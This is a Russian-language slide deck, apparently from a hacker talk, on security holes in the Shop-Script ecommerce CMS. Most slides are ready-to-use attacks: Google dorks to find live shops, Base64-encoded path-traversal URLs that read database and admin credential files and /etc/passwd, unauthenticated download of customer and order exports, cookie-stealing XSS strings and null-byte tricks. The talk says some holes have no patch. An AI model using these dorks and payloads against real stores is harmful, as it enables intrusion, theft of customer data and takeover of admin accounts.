
Старый движок в новых 
красках – Ecommerce CMS 

top10
Осторожно 0days???…

Или о том о чем забыли?.



Это зачем вообще?

• День рождения

• Jack Daniels + some Cola

• Нужно что-то подготовить к пятнице, про%бал все сроки



Погнали

• Исходные данные:
• Взял движок распространённый 

в интернете, Shop-script v2,3,4….

Тот самый чьи статусы заказов в 

2011-2012г попали в индекс

Яндекса

• Погнал копать код .PHP



Сколько их в рунете?

• До%%я
• Входит в топ-10 ecommerce CMS

в РФ.

Dork

inurl:published/forgot.php

inurl:auxpage_

inurl:inurl:/index.php?categoryID=



Определение версии

• В корне много мусора, включая

контроль обновлений/update.xml

• В принципе это не суть важно, 

отличаются только методы.



Структура конфигурации (shop-script 2,3xx)

• /dblist
• wbs.log – журнал входов

• INSTANCE_МАГАЗИНА.xml

• /temp
• .wbs_protect – вход в систем-

ную консоль админ.



Структура конфигураций

• INSTANCE_МАГАЗИНА.xml

• Открытые учетки к БД mysql

• Base64 без соли к управлению пользователями 

пользователь по умолчанию ADMINISTRATOR

/published/login.php

• .wbs_protect

• Base64 без соли к системному интерфейсу

/published/wbsadmin/html/scripts/auth.php



sitemap.php все версии
заплаток нет

• Вроде ничего плохого?



sitemap.php все версии
заплаток нет

• А если так ?



Чтение произвольных файлов
до версии 300, после есть заплатки 

• Через путь в Base64 читаем любой файл

• /published/common/html/scripts/getimage.php?file=Li4vLi4vLi4vLi4vZGJsaXN0L1NIT1BBVVR
PV0VCQVNZU1QueG1s

• "../../../../dblist/SHOPAUTOWEBASYST.xml"



Скачивание произвольных файлов
до версии 308 (после есть заплатки)

• Через путь в Base64 скачиваем любой файл

• /published/common/html/scripts/preview.php?file=Li4vLi4vLi4vLi4vZGJsaXN0Lw==

• “../../../../temp/.wbs_protect”

a:3:{i:0;s:32:"21232f297a57a5a743894a0e4a
801fc3";i:1;s:32:"6c1e0a061a4f927b115eb9
24a5cb91fd";i:2;s:32:"1d977c418df55bbe39
644157b94115b9";}

a:3:{i:0;s:32:“ИМЯ ПОЛЬЗОВАТЕЛЯ";i:1;s:32:«ПАРОЛЬ";i:2;s:32:"1d977c418df55bbe39644157b94115b9";}



Скачивание произвольных файлов
с версий 30x (в 306-309 удалены)

• Через путь в Base64 читаем любой файл

• /published/common/html/scripts/getpfimg.php?file=Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==

• “../../../../../etc/passwd”

• /published/common/html/scripts/getimage.php?file=

Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==



Загрузка отчетов без авторизации 
до версии 300 (после есть заплатки)

Если кто-то делал экспорт, мы получаем доступ к отчетам.

GetDataBaseSqlScript = R2V0RGF0YUJhc2VTcWxTY3JpcHQ=

GetCustomerExcelSqlScript = R2V0Q3VzdG9tZXJFeGNlbFNxbFNjcmlwdA==

GetOrdersExcelSqlScript = R2V0T3JkZXJzRXhjZWxTcWxTY3JpcHQ=

GetFroogleFeed = R2V0RnJvb2dsZUZlZWQ=

GetSubscriptionsList = R2V0U3Vic2NyaXB0aW9uc0xpc3Q=

GetYandex = R2V0WWFuZGV4

- download

- GetCSVCatalog=

/published/SC/html/scripts/get_file.php?getFileParam=   (Base64 хэш)



Загрузка отчетов без авторизации



Системный интерфейс (после авторизации)
published/wbsadmin/html/scripts/auth.php

Файл менеджер Path Traversal (Base64) “Li4v” = “../”

/published/wbsadmin/html/scripts/diagnostics.php?section=filemanager&path=Li4
vLi4vLi4vLi4vLi4vLi4vLi4



XSS, и всякую х%%ню..

• /published/forgot.php?LOGIN="><script>alert(document.cookie)</script>

• /published/forgot.php?LOGIN=%22%3E%3Cscript%3Ealert%28document.cookie%
29%3C/script%3E%3C?%20echo%20%22ddd%22%20?%3E

• /published/forgot.php?LOGIN=%22%3E%3Cscript%3E123%3C/script%3E

• /published/forgot.php?error=PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=

• /published/login.php?error=PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=



Раскрытие пути

• published/SC/html/scripts/epdq.php

error_reporting = E_ALL

display_errors = On

display_startup_errors = On



MAGIC_QUOTES и Null Byte %00 
до PHP 5.3

published/sitemap.php?section=../../../../../../index.php%00

published/SC/html/scripts/tinymce/tiny_mce_css.php?css=/temp/.wbs_protect%0
0.css



Чтение произвольных файлов
при наличии доступа к почтовым функциям  после авторизации (все версии)

• /published/MM/2.0/getattach.php?&file=Li4vLi4vLi4vZXRjL3Bhc3N3Z
A==

• “../../../etc/passwd”



Что не успел

• /published/MM/2.0/UploadImage.php

• /published/MM/html/scripts/UploadImage.php

• /published/common/html/scripts/getfilethumb.php



Shop-script ты молоток!.


